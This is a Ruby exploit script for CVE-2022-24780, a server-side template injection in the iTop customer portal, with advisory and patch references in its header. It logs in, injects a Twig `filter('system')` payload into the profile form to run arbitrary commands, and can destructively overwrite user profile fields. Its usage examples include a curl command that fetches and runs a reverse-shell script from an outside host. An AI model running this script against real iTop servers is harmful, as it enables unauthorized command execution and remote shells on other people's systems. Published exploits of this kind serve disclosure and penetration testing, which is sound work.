Authored by Markus Krell, Alexandre Zanni

iTop versions prior to 2.7.5 authenticated remote command execution exploit.

advisories | CVE-2022-24780

#!/usr/bin/env ruby

# Exploit
## Title: iTop < 2.7.6 - (Authenticated) Remote command execution
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
## Author website: https://pwn.by/noraj/
## Exploit source: https://github.com/Acceis/exploit-CVE-2022-24780
## Date: 2022-05-20
## Vendor Homepage: https://www.combodo.com/itop
## Software Link: https://github.com/Combodo/iTop/archive/refs/tags/2.7.5.tar.gz
## Version: 2.x < 2.7.6 and 3.x.x-beta < 3.0.0
## Tested on: iTop version 2.7.4 (Ubuntu 18.04.4 LTS - 7.3.28)

# Vulnerability
## Discoverer: Markus KRELL
## Date: 2021-10-04
## Discoverer website: https://markus-krell.de/
## Discovered on iTop 2.7.4-7194 and 3.0.0-beta-7312
## Title: Server-Side Template Injection inside customer Portal
## CVE: CVE-2022-24780
## CWE: CWE-94, CWE-1336
## Patch:
## - https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
## - https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
## - https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
## References:
## - https://nvd.nist.gov/vuln/detail/CVE-2022-24780
## - https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
## - https://markus-krell.de/itop-template-injection-inside-customer-portal/

require 'httpx'
require 'docopt'
require 'nokogiri'

doc = <<~DOCOPT
iTop < 2.7.6 - (Authenticated) Remote command execution

Usage:
#{__FILE__} full <url> <username> <password> <cmd> [--debug]
#{__FILE__} light <url> <username> <password> <cmd> [--debug]
#{__FILE__} -h | --help

full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function

Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen

Examples:
#{__FILE__} full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
#{__FILE__} light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
DOCOPT


def login(root_url, user, pass, http)
login_url = "#{root_url}/pages/UI.php"
params = {
'auth_user' => user,
'auth_pwd' => pass,
'login_mode' => 'form',
'loginop' => 'login'
}

http.post(login_url, form: params).body.to_s
end

def login_watir(root_url, user, pass, browser)
login_url = "#{root_url}/pages/UI.php"
browser.goto login_url

browser.text_field(id: 'user').set(user)
browser.text_field(id: 'pwd').set(pass)

browser.button(value: 'Enter iTop').click
end

def fetch_form(root_url, http)
profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"

# Fetch and parse HTML document
doc = Nokogiri.HTML5(http.get(profile_url).body.to_s)
action = doc.css('form').first['action']
transaction_id = doc.css('input[name="transaction_id"]').first['value']
form_id = doc.css('form').first['id']
# doesn't work because it's populated with javascript, we'll need watir for that
#phone = doc.css('input[id^=field_phone]').first['value']
#location = doc.css('select[id^=field_location_id] option[selected]').first['value']
#function = doc.css('input[id^=field_function]').first['value']
return {action: action, tid: transaction_id, fid: form_id}
end

def exploit(root_url, cmd, http, browser)
form_data = fetch_form(root_url, http)
vuln_url = "#{root_url}#{form_data[:action]}"
user_info = browser.nil? ? {phone: '', location: '', function: ''} : fetch_form_js(root_url, browser)
params = {
'operation' => 'submit',
'stimulus_code' => '',
'transaction_id' => form_data[:tid],
# source data already escapes backslashes and double quotes for JSON
# so -> and " -> "
# but we need to esacpe backslash once for Ruby too because we need an interpolated string
# so -> -> \ and " -> "
'formmanager_class' => 'CombodoiTopPortalFormObjectFormManager',
'formmanager_data' => %Q^{"id":"#{form_data[:fid]}","transaction_id":"#{form_data[:tid]}","formmanager_class":"Combodo\iTop\Portal\Form\ObjectFormManager","formrenderer_class":"Combodo\iTop\Renderer\Bootstrap\BsFormRenderer","formrenderer_endpoint":"#{form_data[:action]}","formobject_class":"Person","formobject_id":"1","formmode":"edit","formactionrulestoken":"","formproperties":{"id":"default-user-profile","type":"custom_list","fields":[],"layout":{"type":"twig","content":"<!-- data-field-id attribute must be an attribute code of the class --><!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change --><div class="form_field" data-field-id="first_name{{['#{cmd}']|filter('system')}}" data-field-flags="read_only"></div><div class="form_field" data-field-id="name" data-field-flags="read_only"></div><div class="form_field" data-field-id="org_id" data-field-flags="read_only"></div><div class="form_field" data-field-id="email" data-field-flags="read_only"></div><div class="form_field" data-field-id="phone"></div><div class="form_field" data-field-id="location_id"></div><div class="form_field" data-field-id="function"></div><div class="form_field" data-field-id="manager_id" data-field-flags="read_only"></div>"}}}^,
'current_values[phone]' => user_info[:phone],
'current_values[location_id]' => user_info[:location],
'current_values[function]' => user_info[:function]
}

http.post(vuln_url, form: params).body.to_s
end

def fetch_form_js(root_url, browser)
# those values can't be fetched with nokogiri alone sicne they are populated using javascript
profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"
browser.goto profile_url
phone = browser.text_field(name: 'phone').value
location = browser.select(name: 'location_id').selected_options.first.value
function = browser.text_field(name: 'function').value

return {phone: phone, location: location, function: function}
end

begin
args = Docopt.docopt(doc)
pp args if args['--debug']

http = HTTPX.plugin(:cookies)
login(args['<url>'], args['<username>'], args['<password>'], http)

if args['full']
require 'watir'
require 'webdrivers'

b = Watir::Browser.new :firefox
login_watir(args['<url>'], args['<username>'], args['<password>'], b)
elsif args['light']
b = nil
end

exploit(args['<url>'], args['<cmd>'], http, b)
rescue Docopt::Exit => e
puts e.message
end